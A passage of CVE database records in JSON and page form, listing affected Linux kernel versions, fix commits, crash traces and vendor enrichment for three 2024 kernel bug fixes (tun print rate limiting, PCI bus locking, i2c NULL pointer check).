              "lessThan": "a50dbeca28acf7051dfa92786b85f704c75db6eb",
              "status": "affected",
              "version": "ef3db4a5954281bc1ea49a4739c88eaea091dc71",
              "versionType": "git"
            },
            {
              "lessThan": "62e27ef18eb4f0d33bbae8e9ef56b99696a74713",
              "status": "affected",
              "version": "ef3db4a5954281bc1ea49a4739c88eaea091dc71",
              "versionType": "git"
            },
            {
              "lessThan": "40f4ced305c6c47487d3cd8da54676e2acc1a6ad",
              "status": "affected",
              "version": "ef3db4a5954281bc1ea49a4739c88eaea091dc71",
              "versionType": "git"
            },
            {
              "lessThan": "52854101180beccdb9dc2077a3bea31b6ad48dfa",
              "status": "affected",
              "version": "ef3db4a5954281bc1ea49a4739c88eaea091dc71",
              "versionType": "git"
            },
            {
              "lessThan": "f8bbc07ac535593139c875ffa19af924b1084540",
              "status": "affected",
              "version": "ef3db4a5954281bc1ea49a4739c88eaea091dc71",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/tun.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.35"
            },
            {
              "lessThan": "2.6.35",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.157",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.88",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.29",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.157",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.88",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.29",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.8",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntun: limit printing rate when illegal packet received by tun dev\n\nvhost_worker will call tun call backs to receive packets. If too many\nillegal packets arrives, tun_do_read will keep dumping packet contents.\nWhen console is enabled, it will costs much more cpu time to dump\npacket and soft lockup will be detected.\n\nnet_ratelimit mechanism can be used to limit the dumping rate.\n\nPID: 33036    TASK: ffff949da6f20000  CPU: 23   COMMAND: \"vhost-32980\"\n #0 [fffffe00003fce50] crash_nmi_callback at ffffffff89249253\n #1 [fffffe00003fce58] nmi_handle at ffffffff89225fa3\n #2 [fffffe00003fceb0] default_do_nmi at ffffffff8922642e\n #3 [fffffe00003fced0] do_nmi at ffffffff8922660d\n #4 [fffffe00003fcef0] end_repeat_nmi at ffffffff89c01663\n    [exception RIP: io_serial_in+20]\n    RIP: ffffffff89792594  RSP: ffffa655314979e8  RFLAGS: 00000002\n    RAX: ffffffff89792500  RBX: ffffffff8af428a0  RCX: 0000000000000000\n    RDX: 00000000000003fd  RSI: 0000000000000005  RDI: ffffffff8af428a0\n    RBP: 0000000000002710   R8: 0000000000000004   R9: 000000000000000f\n    R10: 0000000000000000  R11: ffffffff8acbf64f  R12: 0000000000000020\n    R13: ffffffff8acbf698  R14: 0000000000000058  R15: 0000000000000000\n    ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018\n #5 [ffffa655314979e8] io_serial_in at ffffffff89792594\n #6 [ffffa655314979e8] wait_for_xmitr at ffffffff89793470\n #7 [ffffa65531497a08] serial8250_console_putchar at ffffffff897934f6\n #8 [ffffa65531497a20] uart_console_write at ffffffff8978b605\n #9 [ffffa65531497a48] serial8250_console_write at ffffffff89796558\n #10 [ffffa65531497ac8] console_unlock at ffffffff89316124\n #11 [ffffa65531497b10] vprintk_emit at ffffffff89317c07\n #12 [ffffa65531497b68] printk at ffffffff89318306\n #13 [ffffa65531497bc8] print_hex_dump at ffffffff89650765\n #14 [ffffa65531497ca8] tun_do_read at ffffffffc0b06c27 [tun]\n #15 [ffffa65531497d38] tun_recvmsg at ffffffffc0b06e34 [tun]\n #16 [ffffa65531497d68] handle_rx at ffffffffc0c5d682 [vhost_net]\n #17 [ffffa65531497ed0] vhost_worker at ffffffffc0c644dc [vhost]\n #18 [ffffa65531497f10] kthread at ffffffff892d2e72\n #19 [ffffa65531497f50] ret_from_fork at ffffffff89c0022f"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:08:43.707Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/68459b8e3ee554ce71878af9eb69659b9462c588"
        },
        {
          "url": "https://git.kernel.org/stable/c/4b0dcae5c4797bf31c63011ed62917210d3fdac3"
        },
        {
          "url": "https://git.kernel.org/stable/c/14cdb43dbc827e18ac7d5b30c5b4c676219f1421"
        },
        {
          "url": "https://git.kernel.org/stable/c/a50dbeca28acf7051dfa92786b85f704c75db6eb"
        },
        {
          "url": "https://git.kernel.org/stable/c/62e27ef18eb4f0d33bbae8e9ef56b99696a74713"
        },
        {
          "url": "https://git.kernel.org/stable/c/40f4ced305c6c47487d3cd8da54676e2acc1a6ad"
        },
        {
          "url": "https://git.kernel.org/stable/c/52854101180beccdb9dc2077a3bea31b6ad48dfa"
        },
        {
          "url": "https://git.kernel.org/stable/c/f8bbc07ac535593139c875ffa19af924b1084540"
        }
      ],
      "title": "tun: limit printing rate when illegal packet received by tun dev",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27013",
    "datePublished": "2024-05-01T05:29:42.289Z",
    "dateReserved": "2024-02-19T14:20:24.209Z",
    "dateUpdated": "2026-05-12T11:51:05.557Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-46750 (GCVE-0-2024-46750)

Vulnerability from cvelistv5 – Published: 2024-09-18 07:12 – Updated: 2026-05-12 11:57

Title

PCI: Add missing bridge lock to pci_bus_lock()

Summary

In the Linux kernel, the following vulnerability has been resolved: PCI: Add missing bridge lock to pci_bus_lock() One of the true positives that the cfg_access_lock lockdep effort identified is this sequence: WARNING: CPU: 14 PID: 1 at drivers/pci/pci.c:4886 pci_bridge_secondary_bus_reset+0x5d/0x70 RIP: 0010:pci_bridge_secondary_bus_reset+0x5d/0x70 Call Trace: <TASK> ? __warn+0x8c/0x190 ? pci_bridge_secondary_bus_reset+0x5d/0x70 ? report_bug+0x1f8/0x200 ? handle_bug+0x3c/0x70 ? exc_invalid_op+0x18/0x70 ? asm_exc_invalid_op+0x1a/0x20 ? pci_bridge_secondary_bus_reset+0x5d/0x70 pci_reset_bus+0x1d8/0x270 vmd_probe+0x778/0xa10 pci_device_probe+0x95/0x120 Where pci_reset_bus() users are triggering unlocked secondary bus resets. Ironically pci_bus_reset(), several calls down from pci_reset_bus(), uses pci_bus_lock() before issuing the reset which locks everything *but* the bridge itself. For the same motivation as adding: bridge = pci_upstream_bridge(dev); if (bridge) pci_dev_lock(bridge); to pci_reset_function() for the "bus" and "cxl_bus" reset cases, add pci_dev_lock() for @bus->self to pci_bus_lock(). [bhelgaas: squash in recursive locking deadlock fix from Keith Busch: https://lore.kernel.org/r/20240711193650.701834-1-kbusch@meta.com]

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/0790b89c7e911003b…
https://git.kernel.org/stable/c/df77a678c33871a6e…
https://git.kernel.org/stable/c/e2355d513b89a2cb5…
https://git.kernel.org/stable/c/04e85a3285b0e5c5a…
https://git.kernel.org/stable/c/7253b4fed46471cc2…
https://git.kernel.org/stable/c/78c6e39fef5c42896…
https://git.kernel.org/stable/c/81c68e218ab883dfa…
https://git.kernel.org/stable/c/a4e772898f8bf2e7e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 090a3c5322e900f468b3205b76d0837003ad57b2 , < 0790b89c7e911003b8c50ae50e3ac7645de1fae9 (git) Affected: 090a3c5322e900f468b3205b76d0837003ad57b2 , < df77a678c33871a6e4ac5b54a71662f1d702335b (git) Affected: 090a3c5322e900f468b3205b76d0837003ad57b2 , < e2355d513b89a2cb511b4ded0deb426cdb01acd0 (git) Affected: 090a3c5322e900f468b3205b76d0837003ad57b2 , < 04e85a3285b0e5c5af6fd2c0fd6e95ffecc01945 (git) Affected: 090a3c5322e900f468b3205b76d0837003ad57b2 , < 7253b4fed46471cc247c6cacefac890a8472c083 (git) Affected: 090a3c5322e900f468b3205b76d0837003ad57b2 , < 78c6e39fef5c428960aff742149bba302dd46f5a (git) Affected: 090a3c5322e900f468b3205b76d0837003ad57b2 , < 81c68e218ab883dfa368460a59b674084c0240da (git) Affected: 090a3c5322e900f468b3205b76d0837003ad57b2 , < a4e772898f8bf2e7e1cf661a12c60a5612c4afab (git)
Linux	Linux	Affected: 3.12 Unaffected: 0 , < 3.12 (semver) Unaffected: 4.19.322 , ≤ 4.19.* (semver) Unaffected: 5.4.284 , ≤ 5.4.* (semver) Unaffected: 5.10.226 , ≤ 5.10.* (semver) Unaffected: 5.15.167 , ≤ 5.15.* (semver) Unaffected: 6.1.110 , ≤ 6.1.* (semver) Unaffected: 6.6.51 , ≤ 6.6.* (semver) Unaffected: 6.10.10 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-46750",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-29T14:47:52.159037Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-29T14:48:07.141Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:17:46.292Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:57.105Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/pci/pci.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0790b89c7e911003b8c50ae50e3ac7645de1fae9",
              "status": "affected",
              "version": "090a3c5322e900f468b3205b76d0837003ad57b2",
              "versionType": "git"
            },
            {
              "lessThan": "df77a678c33871a6e4ac5b54a71662f1d702335b",
              "status": "affected",
              "version": "090a3c5322e900f468b3205b76d0837003ad57b2",
              "versionType": "git"
            },
            {
              "lessThan": "e2355d513b89a2cb511b4ded0deb426cdb01acd0",
              "status": "affected",
              "version": "090a3c5322e900f468b3205b76d0837003ad57b2",
              "versionType": "git"
            },
            {
              "lessThan": "04e85a3285b0e5c5af6fd2c0fd6e95ffecc01945",
              "status": "affected",
              "version": "090a3c5322e900f468b3205b76d0837003ad57b2",
              "versionType": "git"
            },
            {
              "lessThan": "7253b4fed46471cc247c6cacefac890a8472c083",
              "status": "affected",
              "version": "090a3c5322e900f468b3205b76d0837003ad57b2",
              "versionType": "git"
            },
            {
              "lessThan": "78c6e39fef5c428960aff742149bba302dd46f5a",
              "status": "affected",
              "version": "090a3c5322e900f468b3205b76d0837003ad57b2",
              "versionType": "git"
            },
            {
              "lessThan": "81c68e218ab883dfa368460a59b674084c0240da",
              "status": "affected",
              "version": "090a3c5322e900f468b3205b76d0837003ad57b2",
              "versionType": "git"
            },
            {
              "lessThan": "a4e772898f8bf2e7e1cf661a12c60a5612c4afab",
              "status": "affected",
              "version": "090a3c5322e900f468b3205b76d0837003ad57b2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/pci/pci.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.12"
            },
            {
              "lessThan": "3.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.322",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.284",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.226",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.167",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.110",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.51",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.322",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.284",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.226",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.167",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.110",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.51",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.10",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "3.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: Add missing bridge lock to pci_bus_lock()\n\nOne of the true positives that the cfg_access_lock lockdep effort\nidentified is this sequence:\n\n  WARNING: CPU: 14 PID: 1 at drivers/pci/pci.c:4886 pci_bridge_secondary_bus_reset+0x5d/0x70\n  RIP: 0010:pci_bridge_secondary_bus_reset+0x5d/0x70\n  Call Trace:\n   \u003cTASK\u003e\n   ? __warn+0x8c/0x190\n   ? pci_bridge_secondary_bus_reset+0x5d/0x70\n   ? report_bug+0x1f8/0x200\n   ? handle_bug+0x3c/0x70\n   ? exc_invalid_op+0x18/0x70\n   ? asm_exc_invalid_op+0x1a/0x20\n   ? pci_bridge_secondary_bus_reset+0x5d/0x70\n   pci_reset_bus+0x1d8/0x270\n   vmd_probe+0x778/0xa10\n   pci_device_probe+0x95/0x120\n\nWhere pci_reset_bus() users are triggering unlocked secondary bus resets.\nIronically pci_bus_reset(), several calls down from pci_reset_bus(), uses\npci_bus_lock() before issuing the reset which locks everything *but* the\nbridge itself.\n\nFor the same motivation as adding:\n\n  bridge = pci_upstream_bridge(dev);\n  if (bridge)\n    pci_dev_lock(bridge);\n\nto pci_reset_function() for the \"bus\" and \"cxl_bus\" reset cases, add\npci_dev_lock() for @bus-\u003eself to pci_bus_lock().\n\n[bhelgaas: squash in recursive locking deadlock fix from Keith Busch:\nhttps://lore.kernel.org/r/20240711193650.701834-1-kbusch@meta.com]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:35:41.081Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0790b89c7e911003b8c50ae50e3ac7645de1fae9"
        },
        {
          "url": "https://git.kernel.org/stable/c/df77a678c33871a6e4ac5b54a71662f1d702335b"
        },
        {
          "url": "https://git.kernel.org/stable/c/e2355d513b89a2cb511b4ded0deb426cdb01acd0"
        },
        {
          "url": "https://git.kernel.org/stable/c/04e85a3285b0e5c5af6fd2c0fd6e95ffecc01945"
        },
        {
          "url": "https://git.kernel.org/stable/c/7253b4fed46471cc247c6cacefac890a8472c083"
        },
        {
          "url": "https://git.kernel.org/stable/c/78c6e39fef5c428960aff742149bba302dd46f5a"
        },
        {
          "url": "https://git.kernel.org/stable/c/81c68e218ab883dfa368460a59b674084c0240da"
        },
        {
          "url": "https://git.kernel.org/stable/c/a4e772898f8bf2e7e1cf661a12c60a5612c4afab"
        }
      ],
      "title": "PCI: Add missing bridge lock to pci_bus_lock()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-46750",
    "datePublished": "2024-09-18T07:12:10.484Z",
    "dateReserved": "2024-09-11T15:12:18.267Z",
    "dateUpdated": "2026-05-12T11:57:57.105Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35984 (GCVE-0-2024-35984)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:47 – Updated: 2026-05-12 11:53

Title

i2c: smbus: fix NULL function pointer dereference

Summary

In the Linux kernel, the following vulnerability has been resolved: i2c: smbus: fix NULL function pointer dereference Baruch reported an OOPS when using the designware controller as target only. Target-only modes break the assumption of one transfer function always being available. Fix this by always checking the pointer in __i2c_transfer. [wsa: dropped the simplification in core-smbus to avoid theoretical regressions]

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/40f1d79f07b49c8a6…
https://git.kernel.org/stable/c/ad3c3ac7a03be3697…
https://git.kernel.org/stable/c/5fd72404587d7db4a…
https://git.kernel.org/stable/c/5a09eae9a7db597fe…
https://git.kernel.org/stable/c/4e75e222d397c6752…
https://git.kernel.org/stable/c/e3425674ff68dc521…
https://git.kernel.org/stable/c/357c64ef1ef39b1e7…
https://git.kernel.org/stable/c/91811a31b68d3765b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 63453b59e41173241c4efe9335815f6432fa8586 , < 40f1d79f07b49c8a64a861706e5163f2db4bd95d (git) Affected: 63453b59e41173241c4efe9335815f6432fa8586 , < ad3c3ac7a03be3697114f781193dd3e9d97e6e23 (git) Affected: 63453b59e41173241c4efe9335815f6432fa8586 , < 5fd72404587d7db4acb2d241fd8c387afb0a7aec (git) Affected: 63453b59e41173241c4efe9335815f6432fa8586 , < 5a09eae9a7db597fe0c1fc91636205b4a25d2620 (git) Affected: 63453b59e41173241c4efe9335815f6432fa8586 , < 4e75e222d397c6752b229ed72fc4644c8c36ecde (git) Affected: 63453b59e41173241c4efe9335815f6432fa8586 , < e3425674ff68dc521c57c6eabad0cbd20a027d85 (git) Affected: 63453b59e41173241c4efe9335815f6432fa8586 , < 357c64ef1ef39b1e7cd91ab6bdd304d043702c83 (git) Affected: 63453b59e41173241c4efe9335815f6432fa8586 , < 91811a31b68d3765b3065f4bb6d7d6d84a7cfc9f (git)
Linux	Linux	Affected: 4.19 Unaffected: 0 , < 4.19 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35984",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-21T15:11:46.719693Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:32.705Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.037Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/40f1d79f07b49c8a64a861706e5163f2db4bd95d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ad3c3ac7a03be3697114f781193dd3e9d97e6e23"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5fd72404587d7db4acb2d241fd8c387afb0a7aec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5a09eae9a7db597fe0c1fc91636205b4a25d2620"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4e75e222d397c6752b229ed72fc4644c8c36ecde"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e3425674ff68dc521c57c6eabad0cbd20a027d85"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/357c64ef1ef39b1e7cd91ab6bdd304d043702c83"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/91811a31b68d3765b3065f4bb6d7d6d84a7cfc9f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:27.142Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
